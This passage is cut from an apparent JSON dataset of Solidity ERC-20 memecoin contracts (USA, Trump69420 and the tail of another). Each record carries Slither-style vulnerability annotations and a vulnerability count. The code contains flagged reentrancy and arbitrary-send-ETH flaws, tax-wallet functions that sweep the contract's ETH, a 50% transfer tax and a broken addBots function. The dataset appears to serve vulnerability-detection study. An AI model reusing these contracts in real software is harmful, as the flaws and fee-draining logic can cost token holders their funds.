0a7f952\n\t\t// reentrancy-events | ID: 06bd0eb\n\t\t// reentrancy-benign | ID: b990512\n\t\t// reentrancy-benign | ID: 8be2346\n\t\t// reentrancy-eth | ID: 00c8a0c\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function reclaimStuckETH() external onlyOwner {\n payable(msg.sender).transfer(address(this).balance);\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 0a7f952\n\t\t// reentrancy-events | ID: 06bd0eb\n\t\t// reentrancy-eth | ID: 00c8a0c\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: b8fba82): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for b8fba82: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 83d7566): LILY.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 83d7566: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 89dd47b): LILY.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 89dd47b: Ensure that all the return values of the function calls are used.\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n tradingOpen = true;\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: b8fba82\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: b8fba82\n\t\t// unused-return | ID: 83d7566\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: b8fba82\n\t\t// unused-return | ID: 89dd47b\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: b8fba82\n swapEnabled = true;\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n receive() external payable {}\n}\n", "file_name": "solidity_code_10292.sol", "size_bytes": 22064, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 940d01f): USA.slitherConstructorVariables() performs a multiplication on the result of a division _maxWalletSize = 2 * (_tTotal / 100)\n// Recommendation for 940d01f: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 59e64a6): USA.slitherConstructorVariables() performs a multiplication on the result of a division _taxSwapThreshold = 1 * (_tTotal / 1000)\n// Recommendation for 59e64a6: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 2ac7234): USA.slitherConstructorVariables() performs a multiplication on the result of a division _maxTxAmount = 2 * (_tTotal / 100)\n// Recommendation for 2ac7234: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 75190d2): USA.slitherConstructorVariables() performs a multiplication on the result of a division _maxTaxSwap = 2 * (_tTotal / 100)\n// Recommendation for 75190d2: Consider ordering multiplication before division.\ncontract USA is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 76971fa): USA._taxWallet should be immutable \n\t// Recommendation for 76971fa: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: d64ff86): USA._initialBuyTax should be constant \n\t// Recommendation for d64ff86: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 19;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7368b4c): USA._initialSellTax should be constant \n\t// Recommendation for 7368b4c: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 573f474): USA._finalBuyTax should be constant \n\t// Recommendation for 573f474: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3e7f04b): USA._finalSellTax should be constant \n\t// Recommendation for 3e7f04b: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 53cdf77): USA._reduceBuyTaxAt should be constant \n\t// Recommendation for 53cdf77: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 10127a9): USA._reduceSellTaxAt should be constant \n\t// Recommendation for 10127a9: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 30;\n\n\t// WARNING Optimization Issue (constable-states | ID: bd038f7): USA._preventSwapBefore should be constant \n\t// Recommendation for bd038f7: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 15;\n\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100_000_000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Team America\";\n\n string private constant _symbol = unicode\"USA\";\n\n\t// divide-before-multiply | ID: 2ac7234\n uint256 public _maxTxAmount = 2 * (_tTotal / 100);\n\n\t// divide-before-multiply | ID: 940d01f\n uint256 public _maxWalletSize = 2 * (_tTotal / 100);\n\n\t// WARNING Optimization Issue (constable-states | ID: aec9065): USA._taxSwapThreshold should be constant \n\t// Recommendation for aec9065: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: 59e64a6\n uint256 public _taxSwapThreshold = 1 * (_tTotal / 1000);\n\n\t// WARNING Optimization Issue (constable-states | ID: eeae849): USA._maxTaxSwap should be constant \n\t// Recommendation for eeae849: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: 75190d2\n uint256 public _maxTaxSwap = 2 * (_tTotal / 100);\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[address(this)] = _tTotal.mul(80).div(100);\n\n _balances[_msgSender()] = _tTotal.mul(20).div(100);\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), address(this), _tTotal.mul(80).div(100));\n\n emit Transfer(address(0), _msgSender(), _tTotal.mul(20).div(100));\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e1b0c93): USA.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for e1b0c93: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 1f1d312): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 1f1d312: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 3d2414c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 3d2414c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 1f1d312\n\t\t// reentrancy-benign | ID: 3d2414c\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 1f1d312\n\t\t// reentrancy-benign | ID: 3d2414c\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b07aa91): USA._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for b07aa91: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 3d2414c\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 1f1d312\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 98ff264): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 98ff264: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 24b3268): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 24b3268: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 98ff264\n\t\t\t\t// reentrancy-eth | ID: 24b3268\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 98ff264\n\t\t\t\t\t// reentrancy-eth | ID: 24b3268\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 24b3268\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 24b3268\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 24b3268\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 98ff264\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 24b3268\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 24b3268\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 98ff264\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 1f1d312\n\t\t// reentrancy-events | ID: 98ff264\n\t\t// reentrancy-benign | ID: 3d2414c\n\t\t// reentrancy-eth | ID: 24b3268\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 4f3b454): USA.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 4f3b454: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 1f1d312\n\t\t// reentrancy-events | ID: 98ff264\n\t\t// reentrancy-eth | ID: 24b3268\n\t\t// arbitrary-send-eth | ID: 4f3b454\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) private onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = false;\n }\n }\n\n function delBots(address[] memory notbot) private onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 3dba9aa): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 3dba9aa: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 9c6ab90): USA.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 9c6ab90: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: ecb696e): USA.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for ecb696e: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: bbbd855): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for bbbd855: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 3dba9aa\n\t\t// reentrancy-eth | ID: bbbd855\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 3dba9aa\n\t\t// unused-return | ID: ecb696e\n\t\t// reentrancy-eth | ID: bbbd855\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 3dba9aa\n\t\t// unused-return | ID: 9c6ab90\n\t\t// reentrancy-eth | ID: bbbd855\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 3dba9aa\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: bbbd855\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}\n", "file_name": "solidity_code_10293.sol", "size_bytes": 21933, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract Trump69420 is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 46d33a5): Trump69420.bots is never initialized. It is used in Trump69420._transfer(address,address,uint256)\n\t// Recommendation for 46d33a5: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 8d36510): Trump69420._taxWallet should be immutable \n\t// Recommendation for 8d36510: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1e2d455): Trump69420._initialBuyTax should be constant \n\t// Recommendation for 1e2d455: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: b15d007): Trump69420._initialSellTax should be constant \n\t// Recommendation for b15d007: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 22;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 99d7e78): Trump69420._reduceBuyTaxAt should be constant \n\t// Recommendation for 99d7e78: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 245ce63): Trump69420._reduceSellTaxAt should be constant \n\t// Recommendation for 245ce63: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: b53985f): Trump69420._preventSwapBefore should be constant \n\t// Recommendation for b53985f: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 22;\n\n uint256 private _transferTax = 50;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Trump69420\";\n\n string private constant _symbol = unicode\"TRUMP69420\";\n\n uint256 public _maxTxAmount = 2000000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 2000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: b53e215): Trump69420._taxSwapThreshold should be constant \n\t// Recommendation for b53e215: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 1000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: f2cf89c): Trump69420._maxTaxSwap should be constant \n\t// Recommendation for f2cf89c: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 1600000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 65a5361): Trump69420.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 65a5361: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: b7b0538): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for b7b0538: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: e097e3c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for e097e3c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: b7b0538\n\t\t// reentrancy-benign | ID: e097e3c\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: b7b0538\n\t\t// reentrancy-benign | ID: e097e3c\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n 